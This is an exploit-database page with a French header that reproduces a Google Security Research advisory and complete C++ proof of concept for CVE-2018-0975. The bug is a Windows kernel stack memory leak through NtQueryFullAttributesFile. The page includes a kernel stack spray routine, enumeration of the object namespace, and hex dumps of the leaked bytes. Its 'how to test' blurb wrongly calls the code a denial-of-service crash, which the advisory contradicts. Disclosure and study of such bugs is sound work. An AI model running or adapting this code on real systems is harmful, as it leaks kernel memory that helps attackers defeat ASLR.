Exploit matérialisé
CVE-2018-0975

HIGH
1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB dos windows Vérifié
Source
Microsoft Windows - 'nt!NtQueryFullAttributesFile' Kernel Stack Memory Disclosure
Par Google Security Research
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
Code cpp
/*
We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\GLOBAL??\D:\"        (CD-ROM partition)
  "\GLOBAL??\CdRom0\"
  "\GLOBAL??\FltMgr"
  "\GLOBAL??\FltMgr\"
  "\GLOBAL??\MAILSLOT\"
  "\GLOBAL??\Volume{GUID}\"
  "\GLOBAL??\PIPE\"
  "\Device\CdRom0\"
  "\Device\NamedPipe\"
  "\Device\Mailslot\"
--- cut ---

The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]:

--- cut ---
  typedef struct _FILE_NETWORK_OPEN_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG         FileAttributes;
  } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
--- cut ---

It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
  Name: \GLOBAL??\D:\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\MAILSLOT\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\Volume{GUID}\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\PIPE\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\NamedPipe\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\Mailslot\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below:

--- cut ---
  Name: \GLOBAL??\FltMgr, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
  Name: \GLOBAL??\FltMgr\, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY    0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_NETWORK_OPEN_INFORMATION {
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  LARGE_INTEGER AllocationSize;
  LARGE_INTEGER EndOfFile;
  ULONG         FileAttributes;
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
  UNICODE_STRING Name;
  UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;

extern "C" {
  NTSTATUS NTAPI NtQueryFullAttributesFile(
    _In_  POBJECT_ATTRIBUTES             ObjectAttributes,
    _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation
  );

  NTSTATUS WINAPI NtQueryDirectoryObject(
    _In_      HANDLE  DirectoryHandle,
    _Out_opt_ PVOID   Buffer,
    _In_      ULONG   Length,
    _In_      BOOLEAN ReturnSingleEntry,
    _In_      BOOLEAN RestartScan,
    _Inout_   PULONG  Context,
    _Out_opt_ PULONG  ReturnLength
  );

  NTSTATUS WINAPI NtOpenDirectoryObject(
    _Out_ PHANDLE            DirectoryHandle,
    _In_  ACCESS_MASK        DesiredAccess,
    _In_  POBJECT_ATTRIBUTES ObjectAttributes
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(*EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
  OBJECT_ATTRIBUTES Attributes;
  UNICODE_STRING Name;
  RtlInitUnicodeString(&Name, Path);
  InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);

  FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation;
  RtlZeroMemory(&FileInformation, sizeof(FileInformation));
  RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));

  SprayKernelStack();

  NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation);
  if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
    wprintf(L"Name: %s, Status: %x\n", Path, Status);
    PrintHex(&FileInformation, sizeof(FileInformation));
  }
}

VOID EnumerateDirectory(PWCHAR path) {
  HANDLE hdir = NULL;
  OBJECT_ATTRIBUTES attrs;
  UNICODE_STRING name;

  RtlInitUnicodeString(&name, path);
  InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
  NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);

  if (NT_SUCCESS(st)) {
    CONST ULONG kMaxBufferSize = 128 * 1024;
    PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);

    ULONG Context;
    st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
    if (NT_SUCCESS(st)) {
      POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
      while (pdi->Name.Buffer != NULL) {
        WCHAR path_buffer[MAX_PATH];

        if (!wcscmp(path, L"\\")) {
          wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
        }
        else {
          wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
        }

        if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
          EnumerateDirectory(path_buffer);
        }
        else {
          QueryFile(NULL, path_buffer);
          wcscat_s(path_buffer, L"\\");
          QueryFile(NULL, path_buffer);
        }

        pdi++;
      }
    }

    free(buffer);
    NtClose(hdir);
  }
}

int main() {
  EnumerateDirectory(L"\\");

  return 0;
}